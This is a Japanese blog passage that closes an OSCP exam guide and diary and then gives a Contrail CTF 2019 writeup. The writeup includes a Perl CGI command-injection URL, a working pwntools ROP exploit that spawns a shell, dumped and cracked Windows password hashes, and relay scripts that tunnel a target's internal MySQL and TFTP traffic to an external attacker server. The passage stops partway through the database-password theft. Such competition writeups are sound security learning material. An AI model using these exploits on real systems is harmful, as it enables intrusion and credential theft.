権限昇格に悪用できるLinuxコマンドのリストです。PEASSの結果を確認し、SUID付きのバイナリやパスワード無しのsudo実行ができるコマンドが見つかったときは、このリストで権限昇格の方法を調べていました。

LES: Linux privilege escalation auditing tool

github.com

権限昇格が成功する可能性のあるLinux Kernelの脆弱性をサジェストしてくれるツールです。PEASSの結果を元に一通りの攻撃を試し、上手く行かなかったときはこちらを実行するようにしていました。

Windows Exploit Suggester - Next Generation

github.com

権限昇格が成功する可能性のあるWindows OSの脆弱性をサジェストしてくれるツールです。こちらも、PEASSの結果を元に一通りの攻撃を試し、上手く行かなかったときに実行するようにしていました。

Google

searchsploitでExploitコードを見つけられないとき、Googleで検索すると普通に見つかることも多いです。

よくお世話になったのは以下のようなsiteコマンドを使った検索クエリです。

site:www.exploit-db.com mongodb rce
site:www.exploit-db.com mysql privilege escalation

また、GitHubなどのexploit-db以外のサイトでExploitコードが見つかることも多いです。

site:github.com ms17-010

OSCP受験記

最後に、自分の簡単なOSCP受験記をタイムラインに沿って記載します。

試験を受けるまで

2020年3月3日

  • HTBでElite Hackerになる。自信がついて腕試しがしたくなった
    • また、HTBで身につけた知識には偏りがあるように感じており、体系的に学び直したい気持ちがあった
  • OSCPが学び直し、腕試しに丁度良い内容であることを知る

twitter.com

2020年6月22日

  • OSCP受験を決めた

2020年6月25日

  • OSCP + PWK90日コースで申し込み完了

2020年8月2日

  • PWKコースを開始
  • いきなりLab環境には手を付けず、まずは教材をじっくり楽しむ方針で進める

twitter.com

twitter.com

2020年8月24日

  • PDF教材の演習問題を全て解き終わる。同時にLab環境の攻略を開始

2020年9月16日

  • 累計15台のLabマシンを攻略
  • Zerologon脆弱性が世間で騒がれる。この脆弱性のせいでLab環境内のドメインがめちゃくちゃになっていた

twitter.com

2020年10月1日

  • 累計33台のLabマシンを攻略

2020年10月29日

  • パスポートが必要なことに気付く
  • 当初の受験予定日は11月4日だったが、パスポート発行が間に合わないので11月22日にリスケ

twitter.com

2020年11月2日

  • Lab環境のマシン66台を全て攻略完了
  • OSCP試験までの残り時間は、Labレポートの執筆や、HTB、VulnHubでの勉強に充てることにした

twitter.com

試験本番

試験1日目: 2020年11月22日

  • 13:00 試験開始
    • 監視ソフト周りのトラブル発生
  • 14:00 トラブルシューティング完了
    • 試験マシンの攻略開始
  • 15:00 BOF(25pt)のroot権限シェル取得
  • 15:45 Easy(10pt)のroot権限シェル取得
  • 16:15 Medium1 (20pt) のuser権限シェル取得
  • 18:40 Medium2 (20pt) のuser権限シェル取得
  • 19:15 Medium2 (20pt) のroot権限シェル取得
  • 21:15 Hard (25pt) のuser権限シェル取得
  • 22:50 Medium1 (20pt) のroot権限シェル取得
    • 合格点に到達
    • ここまでは割とサクサク進んだものの、Hardのroot権限シェルを取得する方法が全く見つからず、もう合格点は超えているし諦めようかという気分になる
  • 05:00 就寝

試験2日目: 2020年11月23日

  • 09:00 起床。全然眠れなかった
  • 11:00 完全に諦めモードに突入し、Examレポートの執筆に必要な情報が揃っているか確認を開始
  • 12:30 試験時間内にできることはやりきったという雰囲気になった
    • ところが、最後の悪あがきでHardの列挙結果を見直しているときに突然閃く
    • Hardのroot権限シェルを取得する方法を発見(残り15分)
  • 12:45 しかし、攻撃に手間取ってマシンを再起動したりしている内に試験時間終了
    • Hardのroot権限シェルが取得できないまま試験環境へのVPN接続が遮断された
  • 13:15 ローカル環境で刺さらなかったExploitの検証
    • しょうもないタイプミスで最後の攻撃が刺さらなかったことに気付く。くやしい
  • 20:00 がっつり休憩を取った後、ようやくExamレポートの執筆を開始
  • 2:30 Examレポートの執筆完了
    • 忘れていることがないかOSCP Exam Guideなどを再読
  • 3:30 ExamレポートとLabレポートを提出
    • Examレポートは63ページ、Labレポートは368ページの長さになった

twitter.com

2020年11月25日

  • 4:08 合格を通知するメールが届く

twitter.com

まとめ

本記事では、PWKコースとOSCPの紹介から始めて、試験を受ける前の準備や、実際にPWK / OSCPを進める際のアドバイスなどを共有しました。また、最後に筆者のOSCP受験記を記載しました。

最近は日本国内でのOSCP人気が高まってきている気がしていますし、今後はもっと沢山の人が試験を受けることになるのかも知れません。

本記事が、これからOSCPを受ける人達や、今OSCPを受けている人達の一助となれば幸いです。

Contrail CTF 2019 Writeup

はじめに

12月31日から1月4日にかけて開催されたContrail CTF 2019に参加しました。ommadawn46としてソロでの参加です。正月の暇な時間の大半を費やし、結果的に総合2位になることができました。

f:id:ommadawn46:20200105165034p:plain

この記事は競技中に解いた問題(+競技終了後に解けた問題1つ)のWriteupです。普段あまりWriteupを書かないのですが、ContrailCTFは全体的にエスパー要素が無く、良問が多いコンテストだったので普通に書いてみたくなったのと、順位が良かったので記念に書きたいという気持ちもあり書いてみることにしました。

[web] LegacyBlog (100pts)

問題

I found old mini blog in hdd.

author douro

http://114.177.250.4:9999/cgi-bin/viewer.pl

解法

URLの拡張子が.plであることからPerlで書かれたCGIであると推測できます。クエリストリングに?text={ファイル名}を指定することで任意のファイルの内容を読み出すことができるアプリとなっています。

Perlのopen関数にユーザ入力値を直接渡してしまうと即座にOSコマンドインジェクションが可能となってしまい危険である、ということは古い人には有名らしいです(参考)。このサイトもどうやらユーザ入力値をそのままopen関数に渡しているようで?text=|{OSコマンド}|を指定するとOSコマンドの実行結果が表示されます。

カレントディレクトリにはflagがなかったので、あれこれ探索しているとルートディレクトリにflagというファイルがあることが分かりました。ls -lで権限を確認すると---x--x--xとなっており、実行可能ファイルであると推測して実行したところflagが表示されました。

http://114.177.250.4:9999/cgi-bin/viewer.pl?text=|../../../../../../../../flag|
ctrctf{Th1s_1s_01d_cg1_exp101t}

余談ですが、open関数に関してはRubyも同様の仕様になっているのでWebアプリで使用する際は注意が必要です。

[forensics] Persistence (100pts)

問題

Can you find persistence? https://www.dropbox.com/s/yoge7ix39jyrpnv/forensics_persistence.arn?dl=0

author narupi

配布ファイルが1つ。中身はAutorunsの実行結果ファイル(.arn)です。

解法

WindowsマシンでAutoruns.exeを起動し、配布ファイルを読み込ませるとタスクスケジューラに \evil というあからさまな名前のタスクが登録されています。

f:id:ommadawn46:20200105164235p:plain

タスクが実行しているスクリプトのファイル名がflagになっているのでコピペして終了です。

ctrctf{P3rs1st3nc3_5ch3dul3d_Ta3ks}

[network] debug_port (100pts)

問題

A suspicious script has been executed. https://www.dropbox.com/s/zw76f3qm2k0x3g1/network_debug_port.pcapng?dl=0

author narupi

network_debug_port.pcapng(パケットダンプファイル)が配布されます。

解法

配布ファイルにstringsをかけるとbase64らしき文字列が見つかります。

❯ strings network_debug_port.pcapng
...省略...
ZWNobyAnY29uZ3JhdHVsYXRpb25zIScKZWNobyAnZmxhZyBpcyAiY3RyY3Rme2QxZF95MHVfY2wwNTNkXzdoM181NTU1X3Awcjc/fSInIAo=

デコードすると普通にflagが出てきます。wiresharkを開く必要すら無く解けました。

echo ZWNobyAnY29uZ3JhdHVsYXRpb25zIScKZWNobyAnZmxhZyBpcyAiY3RyY3Rme2QxZF95MHVfY2wwNTNkXzdoM181NTU1X3Awcjc/fSInIAo= | base64 -D
echo 'congratulations!'
echo 'flag is "ctrctf{d1d_y0u_cl053d_7h3_5555_p0r7?}"' 
ctrctf{d1d_y0u_cl053d_7h3_5555_p0r7?}

[pwn] welcomechain (100pts)

問題

Welcome Contrail CTF! Let's chain!

author aqua

nc 114.177.250.4 2226

welcomechain(ELF 64bit)とlibc.so.6が配布されます。

ommadawn46@ctf:~/VMShare/CTF/ContrailCTF/welcomechain$ checksec ./welcomechain
[*] '/media/sf_VMShare/CTF/ContrailCTF/welcomechain/welcomechain'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)
    RUNPATH:  '/home/ommadawn46/VMShare/CTF/ContrailCTF/welcomechain'

解法

welcome関数の中でfgetsを使ってstdinから256bytes読み込んでいます。しかし、スタック上のバッファは32bytesしか確保されていないので、スタックバッファオーバーフローを引き起こしてリターンアドレスを書き換えることができます。

スタック保護無しかつ、PIEではないバイナリなので普通にROPを組み立てれば攻撃が可能です。以下の順序で処理を実行するROPを組み立てればシェルを取ることができます。

  1. 任意のlibc関数を指すGOTのアドレスを第1引数として設定
  2. putsを呼び出しGOT上のlibc関数のアドレスをleak。libc.6.so上のleakさせた関数のオフセットを減算し、libcが配置されているアドレス(libc_base)を割り出す。libc_baseにlibc.6.so上のexecv"/bin/sh"の文字列までのオフセットを加算し、それぞれが配置されているアドレスを割り出す
  3. welcome関数を再度呼び出す
  4. "/bin/sh"のアドレスを第1引数として設定
  5. NULLを第2引数として指定
  6. execvを呼び出し、シェルを起動
# -*- encoding: utf-8 -*-
from pwn import *
import sys

LOCAL = sys.argv[1] == "local"

if LOCAL:
    # patchelf --set-interpreter ~/libc-database/libs/libc6_2.27-3ubuntu1_amd64/ld-2.27.so --set-rpath $(pwd) ./welcomechain
    p = process("./welcomechain")
else:
    p = connect("114.177.250.4", 2226)

puts_got = 0x601020
puts_plt = 0x4005A0
welcome_addr = 0x400740

pop_rdi = 0x400853  # 0x400853 : pop rdi ; ret
pop_rsi_r15 = 0x400851  # 0x400851 : pop rsi ; pop r15 ; ret

libc_puts_ofs = 0x809C0  # $ readelf -s libc.so.6 | grep puts
libc_execv_ofs = 0xE4FA0  # $ readelf -s libc.so.6 | grep execv
libc_binsh_ofs = 0x1B3E9A  # $ strings -tx libc.so.6 | grep /bin/sh

return_addr_ofs = 40


def leak_libc_addr():
    # GOTからputsのアドレスをleakし、libcのアドレスを割り出す
    payload = "A" * return_addr_ofs
    payload += p64(pop_rdi)
    payload += p64(puts_got)
    payload += p64(puts_plt)
    payload += p64(welcome_addr)

    resp = p.recvuntil("Please Input :")
    p.sendline(payload)
    resp += p.recvuntil("Your input is : ")
    resp += p.recvuntil("Welcome! Contrail CTF!")

    puts_addr = u64(resp.split("\n")[-3] + "\x00\x00")
    libc_base = puts_addr - libc_puts_ofs
    return libc_base


def execv_shell(libc_base):
    # execvを呼び出してシェルを起動
    execv_addr = libc_base + libc_execv_ofs
    binsh_addr = libc_base + libc_binsh_ofs

    payload = "A" * return_addr_ofs
    payload += p64(pop_rdi)
    payload += p64(binsh_addr)
    payload += p64(pop_rsi_r15)
    payload += p64(0)
    payload += p64(0)
    payload += p64(execv_addr)

    resp = p.recvuntil("Please Input :")
    p.sendline(payload)
    resp += p.recvuntil("Your input is : ")
    resp += p.recvline()
    return resp


if __name__ == "__main__":
    libc_base = leak_libc_addr()
    resp = execv_shell(libc_base)

    p.interactive()

カレントディレクトリにflagファイルが置いてあるので読み出してflagを取得。

$ ls
bin
dev
flag
lib
lib32
lib64
welcomeropchain
$ cat flag
ctrctf{W31c0m3!_c0ntr4i1_ctf_r3t2l1bc!}

[misc] Lets_Connct (100pts)

問題

nc 114.177.250.4 2999

author pr0xy

解法

ncでサーバにつなぐとシェルが起動しますが、cdlsくらいしかコマンドが使えない状態になっています。カレントディレクトリにflagというファイルがありますが、catも無いので簡単には読み出すことはできません。

historyコマンドは使えたので、-rオプションを使用してflagファイルをhistoryファイルとしてreadさせると内容を読むことができました。

bash-4.4$ history -r flag
history -r flag
bash-4.4$ history
history
    1  history -r flag
    2  Flag has moved to 3000 port on 172.17.0.10 .
    3  history

Flag has moved to 3000 port on 172.17.0.10 .と言うのがflagの内容です。172.17.0.10:3000にflagがあるということらしいです。

bashには/dev/tcp/{host}/{port}を使用してTCP通信を行うことができる機能があります。これを利用してexecにリダイレクトしてみたところflagが表示されました。

bash-4.4$ exec <> /dev/tcp/172.17.0.10/3000
exec <> /dev/tcp/172.17.0.10/3000
bash-4.4$ ctrctf{b4sh_1s_a_mul7ifuncti0n_sh3ll}
bash: ctrctf{b4sh_1s_a_mul7ifuncti0n_sh3ll}: command not found

[misc] prime_number (356pts)

問題

it's secret call...
https://youtu.be/-mEdbrioxqY

note : password is upper case.

author aqua

secret.zip(パスワード付きzipファイル)とsecret_call.wav(waveファイル)が配布されます。

解法

問題文の動画を見るとsecret_call.wavが電話番号を押したときに鳴る音であることが分かります。音声ファイルをSonicVisualizerにかけてみると音が鳴るタイミングが一定間隔になっています。音ごとに分離してフーリエ変換すれば「あるタイミングで鳴っている音が、他のどのタイミングの音と同じ音か」は簡単に特定できそうです。

f:id:ommadawn46:20200105180142p:plain

極めて雑なスクリプトですが、以下のスクリプトを実行するとab bc dd e fc dd fd dd gd dd gd b dd fd c cd gd dbという結果になります。ここの各文字が鳴っている音を表しており、同じ文字のところは同じ音が鳴っています。これらの文字を0〜9の数字に置き換えていけば正しい番号になるはずです。

import wave
import string
import numpy as np
import itertools


def fourier(x, w):
    n = len(x)
    span = n // w
    K = []
    for i in range(n // w):
        sample = x[i * w : (i + 1) * w]
        partial = np.fft.fft(sample)
        K.append(partial)
    return K


if __name__ == "__main__":
    pass_len = 18

    with wave.open("secret_call.wav", "r") as wave_file:
        frames = wave_file.readframes(wave_file.getnframes())
    x = np.frombuffer(frames, dtype=np.int16)
    ks = fourier(x, 400)

    codes, syms = [], []
    mute_max = 13056000.0
    for i, k in enumerate(ks):
        if abs(mute_max - np.abs(k).max()) > 0.1:
            sym = np.abs(k).mean()
            is_new = True
            for sym_ in syms:
                if abs(sym - sym_) < 0.001:
                    is_new = False
                    codes.append((i, string.ascii_letters[syms.index(sym_)]))
                    break
            if is_new:
                syms.append(sym)
                codes.append((i, string.ascii_letters[len(syms) - 1]))

    prev, place_holders = 0, ""
    for i, sym in codes:
        if i - prev > 2:
            place_holders += " "
        place_holders += sym
        prev = i
    print(place_holders)

文字の置き換え方ですが、問題文から恐らく全ての数字が素数になるのだろうと推測し、全ての文字を置き換える組み合わせについて素数以外の数字が出てくるかをチェックし、素数のみが登場する組み合わせだけを残しました。以下がその結果です。

03 37 11 2 47 11 41 11 61 11 61 3 11 41 7 71 61 13
03 37 11 2 67 11 61 11 41 11 41 3 11 61 7 71 41 13
03 37 11 5 47 11 41 11 61 11 61 3 11 41 7 71 61 13
03 37 11 5 67 11 61 11 41 11 41 3 11 61 7 71 41 13
07 73 11 2 43 11 41 11 61 11 61 7 11 41 3 31 61 17
07 73 11 5 43 11 41 11 61 11 61 7 11 41 3 31 61 17
23 37 11 5 47 11 41 11 61 11 61 3 11 41 7 71 61 13
23 37 11 5 67 11 61 11 41 11 41 3 11 61 7 71 41 13
53 37 11 2 47 11 41 11 61 11 61 3 11 41 7 71 61 13
53 37 11 2 67 11 61 11 41 11 41 3 11 61 7 71 41 13
83 37 11 2 47 11 41 11 61 11 61 3 11 41 7 71 61 13
83 37 11 2 67 11 61 11 41 11 41 3 11 61 7 71 41 13
83 37 11 5 47 11 41 11 61 11 61 3 11 41 7 71 61 13
83 37 11 5 67 11 61 11 41 11 41 3 11 61 7 71 41 13
97 73 11 2 43 11 41 11 61 11 61 7 11 41 3 31 61 17
97 73 11 5 43 11 41 11 61 11 61 7 11 41 3 31 61 17

さらに、ここに出てくる素数を「何番目の素数か」に置き換えていくと以下のようになります。

1 11 4 0 14 4 12 4 17 4 17 1 4 12 3 19 17 5 
1 11 4 0 18 4 17 4 12 4 12 1 4 17 3 19 12 5 
1 11 4 2 14 4 12 4 17 4 17 1 4 12 3 19 17 5 
1 11 4 2 18 4 17 4 12 4 12 1 4 17 3 19 12 5 
3 20 4 0 13 4 12 4 17 4 17 3 4 12 1 10 17 6 
3 20 4 2 13 4 12 4 17 4 17 3 4 12 1 10 17 6 
8 11 4 2 14 4 12 4 17 4 17 1 4 12 3 19 17 5 
8 11 4 2 18 4 17 4 12 4 12 1 4 17 3 19 12 5 
15 11 4 0 14 4 12 4 17 4 17 1 4 12 3 19 17 5 
15 11 4 0 18 4 17 4 12 4 12 1 4 17 3 19 12 5 
22 11 4 0 14 4 12 4 17 4 17 1 4 12 3 19 17 5 
22 11 4 0 18 4 17 4 12 4 12 1 4 17 3 19 12 5 
22 11 4 2 14 4 12 4 17 4 17 1 4 12 3 19 17 5 
22 11 4 2 18 4 17 4 12 4 12 1 4 17 3 19 12 5 
24 20 4 0 13 4 12 4 17 4 17 3 4 12 1 10 17 6 
24 20 4 2 13 4 12 4 17 4 17 3 4 12 1 10 17 6 

全てが26以下になったことから、「アルファベットの何番目か」を表している可能性が高いと推測できます。アルファベットに置き換えます。

BLEAOEMERERBEMDTRF
BLEASEREMEMBERDTMF
BLECOEMERERBEMDTRF
BLECSEREMEMBERDTMF
DUEANEMERERDEMBKRG
DUECNEMERERDEMBKRG
ILECOEMERERBEMDTRF
ILECSEREMEMBERDTMF
PLEAOEMERERBEMDTRF
PLEASEREMEMBERDTMF
WLEAOEMERERBEMDTRF
WLEASEREMEMBERDTMF
WLECOEMERERBEMDTRF
WLECSEREMEMBERDTMF
YUEANEMERERDEMBKRG
YUECNEMERERDEMBKRG

結果を注意深く眺めるとPLEASEREMEMBERDTMF だけ英語として読める文字列になっています。これを配布ファイルのzipファイルのパスワードとして入力すると正しく展開することができます。

展開するとflag.txtというテキストファイルが出てくるので、適当な方法で読めばflagが手に入ります。

ctrctf{d0_y0u_r3m3mb3r_dtmf?}

あの音、DTMFって言うんですね…何も知らずに解いてしまった。

[forensics] alice's password (304pts)

問題

Alice losts her password...

I lockyou alice's password

https://drive.google.com/open?id=1OXU9szO2h5Y2iikByMKEBSwsEVchuFw-

zip password is md5(alice's password)

author aqua

flag.zip(パスワード付きzipファイル)とmemdump.memWindowsのメモリダンプファイル)が配布されます。

解法

Aliceのパスワードを手に入れるのが目標の問題です。

Volatilityのimageinfoを実行すると、Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418のProfileが提案されます。

❯ vol.py imageinfo -f memdump.mem 
Volatility Foundation Volatility Framework 2.6.1
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418
                     AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
                     AS Layer2 : FileAddressSpace (/Users/ommadawn46/VMShare/CTF/ContrailCTF/alices_password/memdump.mem)
                      PAE type : No PAE
                           DTB : 0x187000L
                          KDBG : 0xf80002a3c0a0L
          Number of Processors : 1
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0xfffff80002a3dd00L
             KUSER_SHARED_DATA : 0xfffff78000000000L
           Image date and time : 2019-12-29 10:04:58 UTC+0000
     Image local date and time : 2019-12-29 19:04:58 +0900

取り敢えずWin7SP1x64をProfileとして使用し、hashdumpを実行してメモリ上のパスワードハッシュを取得します。

❯ vol.py hashdump -f memdump.mem --profile=Win7SP1x64
Volatility Foundation Volatility Framework 2.6.1
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Aqua:1000:aad3b435b51404eeaad3b435b51404ee:813ea107eccdab91a1b9c15b67693cb4:::
Alice:1001:aad3b435b51404eeaad3b435b51404ee:19bf8c07d19ea196464115e443854654:::

John The Ripperを使用してパスワードハッシュをクラックします。問題文のI lockyou alice's passwordという一文にはワードリストとしてrockyou.txtを使用しなさいという意図があると受け取りました。

❯ john passhash.txt --wordlist=~/wordlist/rockyou.txt --format=NT
Using default input encoding: UTF-8
Loaded 1 password hash (NT [MD4 128/128 SSE4.1 4x4])
Press 'q' or Ctrl-C to abort, almost any other key for status
i<3orange.       (Alice)
1g 0:00:00:01 DONE (2020-01-05 19:09) 0.8849g/s 6622Kp/s 6622Kc/s 6622KC/s i<3pld..i<3me7
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed

クラックが無事に成功し、Aliceのパスワードがi<3orange.であることが分かりました。i<3orange.MD5ハッシュを配布されたzipファイルのパスワードとして入力するとflagを取得できます。

ctrctf{Y0u_c4n_dump_4nd_cr4ck_hash!}

[rev] DownloaderLog (100pts)

問題

A suspicious process was downloading some files.

https://www.dropbox.com/s/losftwhw7w0718d/log.pcap?dl=0

I ask you for this inspection.

author pr0xy

log.pcap(パケットダンプファイル)が配布されます。

解法

wiresharkで配布ファイルを開くと、何らかのファイルをダウンロードしているHTTP通信があることが分かります。ダウンロードされたファイルをdumpすると、k7zg2B(ELF 64bit)と7GNqHT(テキストファイル)の2つのファイルが出てきます。

k7zg2Bを解析すると、この実行ファイルは「コマンドライン引数で指定されたファイルの内容」と「time(NULL)で取得した現在時刻」の2つの値に動作が依存していることが分かります。

前者のファイルはdumpで出てきた、もう片方のファイル 7GNqHT であると推測し、引数に指定してみるもののinvalid :|と表示されてしまいます。

$ ./k7zg2B 7GNqHT 
invalid :|

現在時刻の方が合ってないのが原因であると考えられるので、pcapファイルからファイルがダウンロードされた時刻を特定します。

f:id:ommadawn46:20200105193044p:plain

dateでその時刻にシステム時刻設定を合わせ、バイナリを実行し直すとflagが表示されます。

$ sudo date -s "2019/12/24 16:28:45+09" && ./k7zg2B 7GNqHT
2019年 12月 24日 火曜日 16:28:45 JST
Nice :) Flag is here
ctrctf{u_are_3inary_4na1yst}

[crypto] document_rescue (400pts)

問題

I wanted to give you a secret file, but I found that it was encrypted by a strange program. Can you decrypt it referring to the program?

https://www.dropbox.com/s/4t25svaw4rt1p50/document_rescue.zip?dl=0

author Ciruela

flag.www(暗号化されたPDFファイル)とencrypt.py(暗号化スクリプト)が配布されます。以下が暗号化スクリプトの内容です。

import os

target_ext = '.pdf'

def define_keys():
    with open('keys.txt', 'r') as f:
        a = int(f.readline())
        x = int(f.readline())
        b = int(f.readline())
        modified_header_text = f.readline()[:-1].encode()
    return a, x, b, modified_header_text

def encryptor01(a, x, b, m):
    return (a * x + b) % m
    
def encryptor02(filename):
    f = open(filename + target_ext, 'rb')
    g = open(filename + '.www', 'wb')

    # define keys
    a, x, b, modified_header_text = define_keys()
    m = pow(2, 32)

    assert a < m and x < m and b < m
    
    data = bytearray(f.read())
    data_length = len(data)
    padding_length = (-data_length) % 4
    data += (b'\x00' * padding_length)
    data_length += padding_length

    # header modification!
    index = 0
    modified_header = b'%PDF-9.9'
    modified_header += modified_header_text
    while True:
        if index >= len(modified_header):
            break
        data[index] = modified_header[index]
        index += 1
    
    # main encryption process
    index = 0
    while True:
        if index == data_length:
            break
        plain = int.from_bytes(data[index:index + 4], 'big')
        x = encryptor01(a, x, b, m) ^ plain
        g.write(x.to_bytes(4, 'big'))
        index += 4
    
    f.close()
    g.close()

if __name__ == '__main__':
    filenames = os.listdir('.')
    for filename in filenames:
        if filename[-len(target_ext):] == target_ext:
            encryptor02(filename[:-len(target_ext)])
            os.remove(filename)
    os.remove('keys.txt')

解法

この暗号化スクリプトは以下の処理を行うものとなっています。

  • PDFファイルのヘッダを何らかの文字列で上書きする。何bytesが上書きされるかは不明だが、上書き後の先頭8bytesの値が判明している(%PDF-9.9
  • PDFファイルのbytes長が4で割り切れない場合は末尾を4の倍数の長さになるまで\x00でパディングする
  • 線形合同法っぽい方法で32bit長の乱数を生成し、乱数と平文をXORしたものを暗号文とするワンタイムパッド的な手法でPDFファイル全体を暗号化する

以下が乱数を生成する関数です。線形合同法とよく似ています。

def encryptor01(a, x, b, m):
    return (a * x + b) % m

a, b, mは定数で、xが乱数生成の種となっています。

def encryptor02(filename):
    ...省略...
    x = encryptor01(a, x, b, m) ^ plain

encryptor02()を見ると、xが「1つ前の乱数」ではなく「1つ前の乱数と平文をXORした値」であるというところが線形合同法との違いであることが分かります。しかし、この場合でも線形合同法と同じくy = a * x + b mod mを満たすyxの組み合わせを複数見つければ、連立方程式を解いてabを求めることができます。

abが求まれば乱数を予測することが可能になるため、PDFの暗号化を解くことが出来るはずです。yxの1組目は、ヘッダーの先頭8bytesがソースコードから既知であることを利用して見つけることができます。

x1 = 暗号文の0-4byte
y1 = 暗号文の4-8byte ^ "-9.9"

2組目はPDFの末尾が%EOFで終了することを利用して見つけることができます。ただし、パディングが入るため、%EOF, EOF\x00, OF\x00\x00, F\x00\x00\x00の4パターンの平文が考えられます。

x2 = 暗号文の末尾8-4byte
y2 = 暗号文の末尾4-0byte ^ {"%EOF", "EOF\x00", "OF\x00\x00", "F\x00\x00\x00"} のいずれか

パターンが少ないため全て試してうまく行くものを探せば良さそうです。z3を使用して全てのパターンで復号化を試すスクリプトを書きました。

import z3

M = pow(2, 32)

with open("./document_rescue/flag.www", "rb") as f:
    enc_d = f.read()

pdf_eof = b"%EOF"

p_1 = int.from_bytes(b"%PDF", "big")
p_2 = int.from_bytes(b"-9.9", "big")

x_2 = int.from_bytes(enc_d[0:4], "big")
x_3 = int.from_bytes(enc_d[4:8], "big")

x_n = int.from_bytes(enc_d[-8:-4], "big")
x_n_plus1 = int.from_bytes(enc_d[-4:], "big")

y_1 = p_1 ^ x_2
y_2 = p_2 ^ x_3


def solve(p_n_bytes):
    p_n = int.from_bytes(p_n_bytes, "big")
    y_n = p_n ^ x_n_plus1

    s = z3.Solver()
    a_bv = z3.BitVec("a", 32)
    b_bv = z3.BitVec("b", 32)

    s.add(y_2 == a_bv * x_2 + b_bv)
    s.add(y_n == a_bv * x_n + b_bv)

    pattern = 0
    while s.check() == z3.sat:
        m = s.model()
        a = m.evaluate(a_bv).as_long()
        b = m.evaluate(b_bv).as_long()

        linear_congruential = lambda x: (a * x + b) % M

        with open(f"./pdfs/{hex(p_n)}_{pattern}.pdf", "wb") as f:
            f.write(p_1.to_bytes(4, "big"))
            for i in range(0, len(enc_d) - 4, 4):
                x_i = int.from_bytes(enc_d[i : i + 4], "big")
                x_i_plus1 = int.from_bytes(enc_d[i + 4 : i + 8], "big")
                y_i = linear_congruential(x_i)
                p_i = x_i_plus1 ^ y_i
                f.write(p_i.to_bytes(4, "big"))

        s.add(z3.Or(a_bv != a, b_bv != b))
        pattern += 1


if __name__ == "__main__":
    for pad in range(0, 4):
        p_n_bytes = pdf_eof[pad:] + b"\x00" * pad
        solve(p_n_bytes)

実行すると8種類のPDFが出力されます。ヘッダーが上書きされていてそのままでは表示できないので、1つずつPDF Tools Online - Repair PDFに投げて修復していくと無事flagが表示されました。

f:id:ommadawn46:20200105212829p:plain

ctrctf{f1l3_5truc7ur3_1nf0rm471on_4lw4ys_help_u}

[web] NoWallForUs (436pts)

問題

This is saikyou programmer contest.

http://114.177.250.4:1234/

code: https://drive.google.com/file/d/1EHUY2UDK8BGbs-TaSrXs7un1m4Suz7bW/view?usp=sharing

author douro

12/31 2:32 [web]NoWallForUsにおいてmysqlに関する不具合を訂正しました。

Hint: The flag is on the DB server, but you have to get the password first.

Hint2: Read values_default.go and database/

Hint3: You can steal mysql-password from server(Host computer) . That is'nt the default value .

Hint4: Host IP is in executeUsercode.go

配布ファイルは問題のWebサービスソースコードです。ハードコードされたパスワードなどの値が変更されているのを除けば、問題と同じコードになっています。

調査

AtCoderなどによく似た競技プログラミングサービスを攻撃する問題です。ソースコードを提出すると、提出ごとにDockerコンテナが立ち上がり、その中で提出したコードが実行されるようになっています。問題文のHintによると、flagはDBの中にあるということです。つまり、DBに接続してflagを盗み出すのがこの問題の目標になります。

どこから手をつけていいか分からないので、取り敢えずソースコードを読み解いたり、OSコマンドを実行するスクリプトを提出して環境を調べるといった方法で調査を行いました。その結果、このサービスには以下のような問題が存在することが分かりました。

  • 提出コードを実行するコンテナからホストサーバの任意のポートに対してアクセスが可能(SSRF)
  • ホストサーバで動作するTFTPデーモンにパストラバーサル脆弱性がある
  • mysqlのパスワードがサーバプログラムのソースコードにハードコードされている

この調査結果から、以下のようなステップを踏むことでDBにログインできそうだという道筋が見えてきます。

  1. TFTPデーモンに接続し、パストラバーサルを悪用してmysqlのパスワードが記載されたソースコードを盗み出すスクリプトを提出する
  2. mysqldに1.のパスワードを使用してログインし、flagを読み出すスクリプトを提出する

ただ、問題はスクリプトが実行されるコンテナには最小限のコマンドしか入っていないことです。tftpコマンドやmysqlコマンドが使えない中、どうやってTFTPデーモンに接続し、mysqldに接続するかがこの問題難しいところとなっています。

解法

この課題を解決する方法はいくつもあると思われるのですが、今回は「ホストサーバ」と「自分が管理する外部サーバ」の間をコンテナ経由でポートフォワードするスクリプトを作成して提出し、コンテナ上で実行するという方法を取りました。これにより、TLEまでの30秒の間だけコンテナ経由で直接外部からtftpコマンドやmysqlコマンドでターゲットに接続できるようになります。

tftpはUDPmysqlTCPなので、それぞれフォワーディングスクリプトを書きました。

UDP

import socket
import _thread
import time

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

addr_1 = ("172.17.0.1", 4444)
addr_2 = ("104.198.86.99", 55555)

s.sendto(b"\n", addr_1)
s.sendto(b"\n", addr_2)

resp = " "
while True:
    resp, server = s.recvfrom(1024)
    if server[0] == addr_2[0]:
        s.sendto(resp, addr_1)
    else:
        s.sendto(resp, addr_2)

TCP

import socket
import _thread
import time

s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s1.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

s1.connect(("172.17.0.1", 3306))
s2.connect(("104.198.86.99", 55555))


def forward(source, destination):
    string = " "
    while string:
        string = source.recv(1024)
        if string:
            destination.sendall(string)
        else:
            source.shutdown(socket.SHUT_RD)
            destination.shutdown(socket.SHUT_WR)

_thread.start_new_thread(forward, (s1, s2))
_thread.start_new_thread(forward, (s2, s1))

while True:
    time.sleep(100)

後は、先程建てた道筋通りに外部から攻撃を行います。

mysqlパスワードの窃取

